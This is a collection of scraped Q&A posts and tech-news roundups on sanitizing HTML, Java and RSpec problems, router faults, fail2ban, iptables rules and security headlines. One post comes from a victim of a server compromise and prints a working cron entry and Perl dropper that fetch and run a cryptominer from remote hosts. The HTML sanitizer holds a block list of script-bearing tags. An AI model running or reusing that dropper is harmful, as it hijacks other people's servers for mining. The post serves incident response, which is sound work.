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  • Can this be imporved? Scrubing of dangerous html tags.

    - by chobo2
    Hi I been finding that for something that I consider pretty import there is very little information or libraries on how to deal with this problem. I found this while searching. I really don't know all the million ways that a hacker could try to insert the dangerous tags. I have a rich html editor so I need to keep non dangerous tags but strip out bad ones. So is this script missing anything? It uses html agility pack. public string ScrubHTML(string html) { HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(html); //Remove potentially harmful elements HtmlNodeCollection nc = doc.DocumentNode.SelectNodes("//script|//link|//iframe|//frameset|//frame|//applet|//object|//embed"); if (nc != null) { foreach (HtmlNode node in nc) { node.ParentNode.RemoveChild(node, false); } } //remove hrefs to java/j/vbscript URLs nc = doc.DocumentNode.SelectNodes("//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'javascript')]|//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'jscript')]|//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'vbscript')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.SetAttributeValue("href", "#"); } } //remove img with refs to java/j/vbscript URLs nc = doc.DocumentNode.SelectNodes("//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'javascript')]|//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'jscript')]|//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'vbscript')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.SetAttributeValue("src", "#"); } } //remove on<Event> handlers from all tags nc = doc.DocumentNode.SelectNodes("//*[@onclick or @onmouseover or @onfocus or @onblur or @onmouseout or @ondoubleclick or @onload or @onunload]"); if (nc != null) { foreach (HtmlNode node in nc) { node.Attributes.Remove("onFocus"); node.Attributes.Remove("onBlur"); node.Attributes.Remove("onClick"); node.Attributes.Remove("onMouseOver"); node.Attributes.Remove("onMouseOut"); node.Attributes.Remove("onDoubleClick"); node.Attributes.Remove("onLoad"); node.Attributes.Remove("onUnload"); } } // remove any style attributes that contain the word expression (IE evaluates this as script) nc = doc.DocumentNode.SelectNodes("//*[contains(translate(@style, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'expression')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.Attributes.Remove("stYle"); } } return doc.DocumentNode.WriteTo(); }

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  • Can this be improved? Scrubing of dangerous html tags.

    - by chobo2
    I been finding that for something that I consider pretty import there is very little information or libraries on how to deal with this problem. I found this while searching. I really don't know all the million ways that a hacker could try to insert the dangerous tags. I have a rich html editor so I need to keep non dangerous tags but strip out bad ones. So is this script missing anything? It uses html agility pack. public string ScrubHTML(string html) { HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(html); //Remove potentially harmful elements HtmlNodeCollection nc = doc.DocumentNode.SelectNodes("//script|//link|//iframe|//frameset|//frame|//applet|//object|//embed"); if (nc != null) { foreach (HtmlNode node in nc) { node.ParentNode.RemoveChild(node, false); } } //remove hrefs to java/j/vbscript URLs nc = doc.DocumentNode.SelectNodes("//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'javascript')]|//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'jscript')]|//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'vbscript')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.SetAttributeValue("href", "#"); } } //remove img with refs to java/j/vbscript URLs nc = doc.DocumentNode.SelectNodes("//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'javascript')]|//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'jscript')]|//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'vbscript')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.SetAttributeValue("src", "#"); } } //remove on<Event> handlers from all tags nc = doc.DocumentNode.SelectNodes("//*[@onclick or @onmouseover or @onfocus or @onblur or @onmouseout or @ondoubleclick or @onload or @onunload]"); if (nc != null) { foreach (HtmlNode node in nc) { node.Attributes.Remove("onFocus"); node.Attributes.Remove("onBlur"); node.Attributes.Remove("onClick"); node.Attributes.Remove("onMouseOver"); node.Attributes.Remove("onMouseOut"); node.Attributes.Remove("onDoubleClick"); node.Attributes.Remove("onLoad"); node.Attributes.Remove("onUnload"); } } // remove any style attributes that contain the word expression (IE evaluates this as script) nc = doc.DocumentNode.SelectNodes("//*[contains(translate(@style, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'expression')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.Attributes.Remove("stYle"); } } return doc.DocumentNode.WriteTo(); }

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  • Why am I getting ClassNotFoundExpection when I have properly imported said class and am looking at it in its directory?

    - by Strider
    This is my Javac compiling statement: javac -cp "C:\java\code\j3D\j3dcore.jar;C:\java\code\j3D\j3dutils.jar;C:\java\code\j3D\vecmath.jar" Simple.java compiles with no problems. The three jar files (j3dcore, j3dutils, and vecmath) are the essential jar's for my program (or at least I am led to believe according to this official tutorial on J3D For the record I ripped this code almost line from line from this pdf file. jar files are correctly located in referenced locations When I run my Simple program, (java Simple) I am greeted with Exception in thread "main" java.lang.NoClassDefFoundError: javax/media/j3d/Cavas3d Caused by: java.lang.ClassNotFoundExpection: javax.media.j3d.Canvas3D Currently I am staring directly at this Canvas3D.class that is located within j3dcore.jar\javax\media\j3d\ wtfisthis.jpg Here is the source code: //First java3D Program import java.applet.Applet; import java.awt.BorderLayout; import java.awt.Frame; import java.awt.event.*; import com.sun.j3d.utils.applet.MainFrame; import com.sun.j3d.utils.universe.*; import com.sun.j3d.utils.geometry.ColorCube; import javax.media.j3d.*; import javax.vecmath.*; import java.awt.GraphicsConfiguration; public class Simple extends Applet { public Simple() { setLayout(new BorderLayout()); GraphicsConfiguration config = SimpleUniverse.getPreferredConfiguration(); Canvas3D canvas3D = new Canvas3D(config); add("Center", canvas3D); BranchGroup scene = createSceneGraph(); scene.compile(); // SimpleUniverse is a Convenience Utility class SimpleUniverse simpleU = new SimpleUniverse(canvas3D); // This moves the ViewPlatform back a bit so the // objects in the scene can be viewed. simpleU.getViewingPlatform().setNominalViewingTransform(); simpleU.addBranchGraph(scene); } // end of HelloJava3Da (constructor) public BranchGroup createSceneGraph() { // Create the root of the branch graph BranchGroup objRoot = new BranchGroup(); // Create a simple shape leaf node, add it to the scene graph. // ColorCube is a Convenience Utility class objRoot.addChild(new ColorCube(0.4)); return objRoot; } public static void main(String args[]){ Simple world = new Simple(); } }` Did I import correctly? Did I incorrectly reference my jar files in my Javac statement? If I clearly see Canvas3D within its correct directory why cant java find it? The first folder in both j3dcore.jar and vecmath.jar is "javax". Is the compiler getting confused? If the compiler is getting confused how do I specify where to find that exact class when referencing it within my source code?

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  • How to merge two test into one RSpec

    - by thefonso
    Both the last two test work individually...but when both are set to run (non pending) I get problems. question: can I create a test that merges the two into one? How would this look?(yes, I am new to rspec) require_relative '../spec_helper' # the universe is vast and infinite....and...it is empty describe "tic tac toe game" do context "the game class" do before (:each) do player_h = Player.new("X") player_c = Player.new("O") @game = Game.new(player_h, player_c) end it "method drawgrid must return a 3x3 game grid" do @game.drawgrid.should eq("\na #{$thegrid[:a1]}|#{$thegrid[:a2]}|#{$thegrid[:a3]} \n----------\nb #{$thegrid[:b1]}|#{$thegrid[:b2]}|#{$thegrid[:b3]} \n----------\nc #{$thegrid[:c1]}|#{$thegrid[:c2]}|#{$thegrid[:c3]} \n----------\n 1 2 3 \n") @game.drawgrid end #FIXME - last two test here - how to merge into one? it "play method must display 3x3 game grid" do STDOUT.should_receive(:puts).and_return("\na #{$thegrid[:a1]}|#{$thegrid[:a2]}|#{$thegrid[:a3]} \n----------\nb #{$thegrid[:b1]}|#{$thegrid[:b2]}|#{$thegrid[:b3]} \n----------\nc #{$thegrid[:c1]}|#{$thegrid[:c2]}|#{$thegrid[:c3]} \n----------\n 1 2 3 \n").with("computer move") @game.play end it "play method must display 3x3 game grid" do STDOUT.should_receive(:puts).with("computer move") @game.play end end end just for info here is the code containing the play method require_relative "player" # #Just a Tic Tac Toe game class class Game #create players def initialize(player_h, player_c) #bring into existence the board and the players @player_h = player_h @player_c = player_c #value hash for the grid lives here $thegrid = { :a1=>" ", :a2=>" ", :a3=>" ", :b1=>" ", :b2=>" ", :b3=>" ", :c1=>" ", :c2=>" ", :c3=>" " } #make a global var for drawgrid which is used by external player class $gamegrid = drawgrid end #display grid on console def drawgrid board = "\n" board << "a #{$thegrid[:a1]}|#{$thegrid[:a2]}|#{$thegrid[:a3]} \n" board << "----------\n" board << "b #{$thegrid[:b1]}|#{$thegrid[:b2]}|#{$thegrid[:b3]} \n" board << "----------\n" board << "c #{$thegrid[:c1]}|#{$thegrid[:c2]}|#{$thegrid[:c3]} \n" board << "----------\n" board << " 1 2 3 \n" return board end #start the game def play #draw the board puts drawgrid #external call to player class @player = @player_c.move_computer("O") end end player_h = Player.new("X") player_c = Player.new("O") game = Game.new(player_h, player_c) game.play

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  • Bizarre and very specific Internet connection loss

    - by Synetech
    Yesterday (Friday, September 21, 2012), my Internet connection started acting up. After some testing, I confirmed a very specific and baffling set of symptoms: Internet connection goes away every 25-35 minutes (I did not confirm the exact interval, but it seems to be about 30 mins.) Only some protocols are affected; HTTP*, P2P, etc. stop working; FTP, etc. continue to work When it’s stopped, cannot even ping router or cable-modem IPs or view their firmware pages Domain-names and IPs are irrelevant (for protocols that stop working, neither work, for those that still work, both work) Resetting router fixes it for another 30 minutes Keeping the connection idle or active doesn’t seem to make a difference (nor the bandwidth usage in that period) Connecting directly to cable-modem allows it to work indefinitely Disconnecting the router from the cable-modem works indefinitely (no Internet connection obviously, but can still access router IP and firmware page) Connecting the router to the cable-modem, but putting the modem on standby also works indefinitely Same problem with both a wireless laptop and wired (on any port) desktop (both Windows 7; will try to test Windows XP when possible) Nothing had changed in the days leading up to the issue. No modifications to the networking configuration or the router; there were not even any Windows updates except for an MSSE definition update. Waiting does not fix it, nor does any amount of fiddling with anything; only resetting the router fixes it for 30 minutes (resetting the cable-modem doesn't work either) I tried cleaning the pins in the router’s plugs, but that didn’t help, which was not really a surprise since I was not getting a lost connection error. Obviously my first thought was that the router was having a problem, and this is borne out by some tests. The problem is that when it drops, it is not a full drop since I can still do things like ftp ftp.mcafee.com and such which means that the connection and DNS are still working. Moreover, if it were the router, then why does it stay alive indefinitely when not connected to the cable-modem (i.e., no outside influence)? The problem doesn't seem to be either the cable-modem nor the router, but rather an interaction between the two, like something from the outside (port scan? hacker? ISP?) that is triggering a problem in the router. I see that there have been a couple of vulnerabilities for the DI-524, but those were a while back and should be fixed since I have the last firmware for it. I don’t think it’s my ISP (Rogers) since I have been using the router for several years without problem and can connect indefinitely when bypassing it. But I can’t rule them out since that is one of the only possible things that could have suddenly changed. Does anybody have any ideas of explanations, fixed, or tests? (I note that when I opened the router, I heard a very high-pitched noise from somewhere near the capacitors/ferrite ring which I don’t think I heard the last time I opened it a few years ago, but then if it were that, then why would it affect only a very small, specific set of functions?)

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  • fail2ban custom action to permanent ban IPs from China

    - by John Magnolia
    When a IP address gets banned how can I check if the banned IP address is from China. If yes, then add it to the permanent ban list. I have found this nice guide which write the banned IP to file. Reason: I am getting a lot of brute force attacks from China daily, thankfully fail2ban is helping restrict this although they appear to be getting worse and they are just changing their IP Address. Or even better would be if there was a maintained database of known hacker IP addresses. Example 1 Hi, The IP 60.169.78.77 has just been banned by Fail2Ban after 4 attempts against vsftpd. Here are more information about 60.169.78.77: % [whois.apnic.net node-7] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html inetnum: 60.166.0.0 - 60.175.255.255 netname: CHINANET-AH descr: CHINANET anhui province network descr: China Telecom descr: A12,Xin-Jie-Kou-Wai Street descr: Beijing 100088 country: CN admin-c: CH93-AP tech-c: JW89-AP mnt-by: APNIC-HM mnt-routes: MAINT-CHINANET-AH mnt-lower: MAINT-CHINANET-AH status: ALLOCATED PORTABLE changed: [email protected] 20040721 source: APNIC person: Chinanet Hostmaster nic-hdl: CH93-AP e-mail: [email protected] address: No.31 ,jingrong street,beijing address: 100032 phone: +86-10-58501724 fax-no: +86-10-58501724 country: CN changed: [email protected] 20070416 mnt-by: MAINT-CHINANET source: APNIC person: Jinneng Wang address: 17/F, Postal Building No.120 Changjiang address: Middle Road, Hefei, Anhui, China country: CN phone: +86-551-2659073 fax-no: +86-551-2659287 e-mail: [email protected] nic-hdl: JW89-AP mnt-by: MAINT-NEW changed: [email protected] 19990818 source: APNIC Regards, Fail2Ban Example 2 Hi, The IP 60.169.78.81 has just been banned by Fail2Ban after 4 attempts against vsftpd. Here are more information about 60.169.78.81: % [whois.apnic.net node-6] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html inetnum: 60.166.0.0 - 60.175.255.255 netname: CHINANET-AH descr: CHINANET anhui province network descr: China Telecom descr: A12,Xin-Jie-Kou-Wai Street descr: Beijing 100088 country: CN admin-c: CH93-AP tech-c: JW89-AP mnt-by: APNIC-HM mnt-routes: MAINT-CHINANET-AH mnt-lower: MAINT-CHINANET-AH status: ALLOCATED PORTABLE changed: [email protected] 20040721 source: APNIC person: Chinanet Hostmaster nic-hdl: CH93-AP e-mail: [email protected] address: No.31 ,jingrong street,beijing address: 100032 phone: +86-10-58501724 fax-no: +86-10-58501724 country: CN changed: [email protected] 20070416 mnt-by: MAINT-CHINANET source: APNIC person: Jinneng Wang address: 17/F, Postal Building No.120 Changjiang address: Middle Road, Hefei, Anhui, China country: CN phone: +86-551-2659073 fax-no: +86-551-2659287 e-mail: [email protected] nic-hdl: JW89-AP mnt-by: MAINT-NEW changed: [email protected] 19990818 source: APNIC Regards, Fail2Ban Example 3 Hi, The IP 222.133.244.99 has just been banned by Fail2Ban after 4 attempts against vsftpd. Here are more information about 222.133.244.99: % [whois.apnic.net node-6] % Whois data copyright terms http://www.apnic.net/db/dbcopyright.html inetnum: 222.133.244.96 - 222.133.244.127 netname: LCZFFHQ country: CN descr: liaochenggovermentfanghuoqiang admin-c: DS95-AP tech-c: DS95-AP status: ASSIGNED NON-PORTABLE changed: [email protected] 20060122 mnt-by: MAINT-CNCGROUP-SD source: APNIC route: 222.132.0.0/14 descr: CNC Group CHINA169 Shandong Province Network country: CN origin: AS4837 mnt-by: MAINT-CNCGROUP-RR changed: [email protected] 20060118 source: APNIC person: Data Communication Bureau Shandong nic-hdl: DS95-AP e-mail: [email protected] address: No.77 Jingsan Road,Jinan,Shandong,P.R.China phone: +86-531-6052611 fax-no: +86-531-6052414 country: CN changed: [email protected] 20050330 mnt-by: MAINT-CNCGROUP-SD source: APNIC Regards, Fail2Ban

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  • ./kernelupdates 100% cpu usage

    - by Vaibhav Panmand
    I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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  • iptables - quick safety eval & limit max conns over time

    - by Peter Hanneman
    Working on locking down a *nix server box with some fancy iptable(v1.4.4) rules. I'm approaching the matter with a "paranoid, everyone's out to get me" style, not necessarily because I expect the box to be a hacker magnet but rather just for the sake of learning iptables and *nix security more throughly. Everything is well commented - so if anyone sees something I missed please let me know! The *nat table's "--to-ports" point to the only ports with actively listening services. (aside from pings) Layer 2 apps listen exclusively on chmod'ed sockets bridged by one of the layer 1 daemons. Layers 3+ inherit from layer 2 in a similar fashion. The two lines giving me grief are commented out at the very bottom of the *filter rules. The first line runs fine but it's all or nothing. :) Many thanks, Peter H. *nat #Flush previous rules, chains and counters for the 'nat' table -F -X -Z #Redirect traffic to alternate internal ports -I PREROUTING --src 0/0 -p tcp --dport 80 -j REDIRECT --to-ports 8080 -I PREROUTING --src 0/0 -p tcp --dport 443 -j REDIRECT --to-ports 8443 -I PREROUTING --src 0/0 -p udp --dport 53 -j REDIRECT --to-ports 8053 -I PREROUTING --src 0/0 -p tcp --dport 9022 -j REDIRECT --to-ports 8022 COMMIT *filter #Flush previous settings, chains and counters for the 'filter' table -F -X -Z #Set default behavior for all connections and protocols -P INPUT DROP -P OUTPUT DROP -A FORWARD -j DROP #Only accept loopback traffic originating from the local NIC -A INPUT -i lo -j ACCEPT -A INPUT ! -i lo -d 127.0.0.0/8 -j DROP #Accept all outgoing non-fragmented traffic having a valid state -A OUTPUT ! -f -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT #Drop fragmented incoming packets (Not always malicious - acceptable for use now) -A INPUT -f -j DROP #Allow ping requests rate limited to one per second (burst ensures reliable results for high latency connections) -A INPUT -p icmp --icmp-type 8 -m limit --limit 1/sec --limit-burst 2 -j ACCEPT #Declaration of custom chains -N INSPECT_TCP_FLAGS -N INSPECT_STATE -N INSPECT #Drop incoming tcp connections with invalid tcp-flags -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL ALL -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL NONE -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ACK,FIN FIN -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ACK,PSH PSH -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ACK,URG URG -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags FIN,RST FIN,RST -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags SYN,RST SYN,RST -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL SYN,FIN,PSH,URG -j DROP -A INSPECT_TCP_FLAGS -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP #Accept incoming traffic having either an established or related state -A INSPECT_STATE -m state --state ESTABLISHED,RELATED -j ACCEPT #Drop new incoming tcp connections if they aren't SYN packets -A INSPECT_STATE -m state --state NEW -p tcp ! --syn -j DROP #Drop incoming traffic with invalid states -A INSPECT_STATE -m state --state INVALID -j DROP #INSPECT chain definition -A INSPECT -p tcp -j INSPECT_TCP_FLAGS -A INSPECT -j INSPECT_STATE #Route incoming traffic through the INSPECT chain -A INPUT -j INSPECT #Accept redirected HTTP traffic via HA reverse proxy -A INPUT -p tcp --dport 8080 -j ACCEPT #Accept redirected HTTPS traffic via STUNNEL SSH gateway (As well as tunneled HTTPS traffic destine for other services) -A INPUT -p tcp --dport 8443 -j ACCEPT #Accept redirected DNS traffic for NSD authoritative nameserver -A INPUT -p udp --dport 8053 -j ACCEPT #Accept redirected SSH traffic for OpenSSH server #Temp solution: -A INPUT -p tcp --dport 8022 -j ACCEPT #Ideal solution: #Limit new ssh connections to max 10 per 10 minutes while allowing an "unlimited" (or better reasonably limited?) number of established connections. #-A INPUT -p tcp --dport 8022 --state NEW,ESTABLISHED -m recent --set -j ACCEPT #-A INPUT -p tcp --dport 8022 --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP COMMIT *mangle #Flush previous rules, chains and counters in the 'mangle' table -F -X -Z COMMIT

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  • Week in Geek: 4chan Falls Victim to DDoS Attack Edition

    - by Asian Angel
    This week we learned how to tweak the low battery action on a Windows 7 laptop, access an eBook collection anywhere in the world, “extend iPad battery life, batch resize photos, & sync massive music collections”, went on a reign of destruction with Snow Crusher, and had fun decorating our desktops with abstract icon collections. Photo by pasukaru76. Random Geek Links We have included extra news article goodness to help you catch up on any developments that you may have missed during the holiday break this past week. Note: The three 27C3 articles listed here represent three different presentations at the 27th Chaos Communication Congress hacker conference. 4chan victim of DDoS as FBI investigates role in PayPal attack Users of 4chan may have gotten a taste of their own medicine after the site was knocked offline by a DDoS attack from an unknown origin early Thursday morning. Report: FBI seizes server in probe of WikiLeaks attacks The FBI has seized a server in Texas as part of its hunt for the groups behind the pro-WikiLeaks denial-of-service attacks launched in December against PayPal, Visa, MasterCard, and others. Mozilla exposes older user-account database Mozilla has disabled 44,000 older user accounts for its Firefox add-ons site after a security researcher found part of a database of the account information on a publicly available server. Data breach affects 4.9 million Honda customers Japanese automaker Honda has put some 2.2 million customers in the United States on a security breach alert after a database containing information on the owners and their cars was hacked. Chinese Trojan discovered in Android games An Android-based Trojan called “Geinimi” has been discovered in the wild and the Trojan is capable of sending personal information to remote servers and exhibits botnet-like behavior. 27C3 presentation claims many mobiles vulnerable to SMS attacks According to security experts, an ‘SMS of death’ threatens to disable many current Sony Ericsson, Samsung, Motorola, Micromax and LG mobiles. 27C3: GSM cell phones even easier to tap Security researchers have demonstrated how open source software on a number of revamped, entry-level cell phones can decrypt and record mobile phone calls in the GSM network. 27C3: danger lurks in PDF documents Security researcher Julia Wolf has pointed out numerous, previously hardly known, security problems in connection with Adobe’s PDF standard. Critical update for WordPress A critical update has been made available for WordPress in the form of version 3.0.4. The update fixes a security bug in WordPress’s KSES library. McAfee Labs Predicts Geolocation, Mobile Devices and Apple Will Top the List of Targets for Emerging Threats in 2011 The list comprises 2010’s most buzzed about platforms and services, including Google’s Android, Apple’s iPhone, foursquare, Google TV and the Mac OS X platform, which are all expected to become major targets for cybercriminals. McAfee Labs also predicts that politically motivated attacks will be on the rise. Windows Phone 7 piracy materializes with FreeMarketplace A proof-of-concept application, FreeMarketplace, that allows any Windows Phone 7 application to be downloaded and installed free of charge has been developed. Empty email accounts, and some bad buzz for Hotmail In the past few days, a number of Hotmail users have been complaining about a rather disconcerting issue: their Hotmail accounts, some up to 10 years old, appear completely empty.  No emails, no folders, nothing, just what appears to be a new account. Reports: Nintendo warns of 3DS risk for kids Nintendo has reportedly issued a warning that the 3DS, its eagerly awaited glasses-free 3D portable gaming device, should not be used by children under 6 when the gadget is in 3D-viewing mode. Google eyes ‘cloaking’ as next antispam target Google plans to take a closer look at the practice of “cloaking,” or presenting one look to a Googlebot crawling one’s site while presenting another look to users. Facebook, Twitter stock trading drawing SEC eye? The high degree of investor interest in shares of hot Silicon Valley companies that aren’t yet publicly traded–like Facebook, Twitter, LinkedIn, and Zynga–may be leading to scrutiny from the U.S. Securities and Exchange Commission (SEC). Random TinyHacker Links Photo by jcraveiro. Exciting Software Set for Release in 2011 A few bloggers from great websites such as How-To Geek, Guiding Tech and 7 Tutorials took the time to sit down and talk about their software wishes for 2011. Take the time to read it and share… Wikileaks Infopr0n An infographic detailing the quest to plug WikiLeaks. The New York Times Guide to Mobile Apps A growing collection of all mobile app coverage by the New York Times as well as lists of favorite apps from Times writers. 7,000,000,000 (Video) A fascinating look at the world’s population via National Geographic Magazine. Super User Questions Check out the great answers to these hot questions from Super User. How to use a Personal computer as a Linux web server for development purposes? How to link processing power of old computers together? Free virtualization tool for testing suspicious files? Why do some actions not work with Remote Desktop? What is the simplest way to send a large batch of pictures to a distant friend or colleague? How-To Geek Weekly Article Recap Had a busy week and need to get caught up on your HTG reading? Then sit back and relax while enjoying these hot posts full of how-to roundup goodness. The 50 Best How-To Geek Windows Articles of 2010 The 20 Best How-To Geek Explainer Topics for 2010 The 20 Best How-To Geek Linux Articles of 2010 How to Search Just the Site You’re Viewing Using Google Search Ask the Readers: Backing Your Files Up – Local Storage versus the Cloud One Year Ago on How-To Geek Need more how-to geekiness for your weekend? Then look through this great batch of articles from one year ago that focus on dual-booting and O.S. installation goodness. Dual Boot Your Pre-Installed Windows 7 Computer with Vista Dual Boot Your Pre-Installed Windows 7 Computer with XP How To Setup a USB Flash Drive to Install Windows 7 Dual Boot Your Pre-Installed Windows 7 Computer with Ubuntu Easily Install Ubuntu Linux with Windows Using the Wubi Installer The Geek Note We hope that you and your families have had a terrific holiday break as everyone prepares to return to work and school this week. Remember to keep those great tips coming in to us at [email protected]! Photo by pjbeardsley. Latest Features How-To Geek ETC The 20 Best How-To Geek Linux Articles of 2010 The 50 Best How-To Geek Windows Articles of 2010 The 20 Best How-To Geek Explainer Topics for 2010 How to Disable Caps Lock Key in Windows 7 or Vista How to Use the Avira Rescue CD to Clean Your Infected PC The Complete List of iPad Tips, Tricks, and Tutorials Tune Pop Enhances Android Music Notifications Another Busy Night in Gotham City Wallpaper Classic Super Mario Brothers Theme for Chrome and Iron Experimental Firefox Builds Put Tabs on the Title Bar (Available for Download) Android Trojan Found in the Wild Chaos, Panic, and Disorder Wallpaper

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  • Week in Geek: US Govt E-card Scam Siphons Confidential Data Edition

    - by Asian Angel
    This week we learned how to “back up photos to Flickr, automate repetitive tasks, & normalize MP3 volume”, enable “stereo mix” in Windows 7 to record audio, create custom papercraft toys, read up on three alternatives to Apple’s flaky iOS alarm clock, decorated our desktops & app docks with Google icon packs, and more. Photo by alexschlegel. Random Geek Links It has been a busy week on the security & malware fronts and we have a roundup of the latest news to help keep you updated. Photo by TopTechWriter.US. US govt e-card scam hits confidential data A fake U.S. government Christmas e-card has managed to siphon off gigabytes of sensitive data from a number of law enforcement and military staff who work on cybersecurity matters, many of whom are involved in computer crime investigations. Security tool uncovers multiple bugs in every browser Michal Zalewski reports that he discovered the vulnerability in Internet Explorer a while ago using his cross_fuzz fuzzing tool and reported it to Microsoft in July 2010. Zalewski also used cross_fuzz to discover bugs in other browsers, which he also reported to the relevant organisations. Microsoft to fix Windows holes, but not ones in IE Microsoft said that it will release two security bulletins next week fixing three holes in Windows, but it is still investigating or working on fixing holes in Internet Explorer that have been reportedly exploited in attacks. Microsoft warns of Windows flaw affecting image rendering Microsoft has warned of a Windows vulnerability that could allow an attacker to take control of a computer if the user is logged on with administrative rights. Windows 7 Not Affected by Critical 0-Day in the Windows Graphics Rendering Engine While confirming that details on a Critical zero-day vulnerability have made their way into the wild, Microsoft noted that customers running the latest iteration of Windows client and server platforms are not exposed to any risks. Microsoft warns of Office-related malware Microsoft’s Malware Protection Center issued a warning this week that it has spotted malicious code on the Internet that can take advantage of a flaw in Word and infect computers after a user does nothing more than read an e-mail. *Refers to a flaw that was addressed in the November security patch releases. Make sure you have all of the latest security updates installed. Unpatched hole in ImgBurn disk burning application According to security specialist Secunia, a highly critical vulnerability in ImgBurn, a lightweight disk burning application, can be used to remotely compromise a user’s system. Hole in VLC Media Player Virtual Security Research (VSR) has identified a vulnerability in VLC Media Player. In versions up to and including 1.1.5 of the VLC Media Player. Flash Player sandbox can be bypassed Flash applications run locally can read local files and send them to an online server – something which the sandbox is supposed to prevent. Chinese auction site touts hacked iTunes accounts Tens of thousands of reportedly hacked iTunes accounts have been found on Chinese auction site Taobao, but the company claims it is unable to take action unless there are direct complaints. What happened in the recent Hotmail outage Mike Schackwitz explains the cause of the 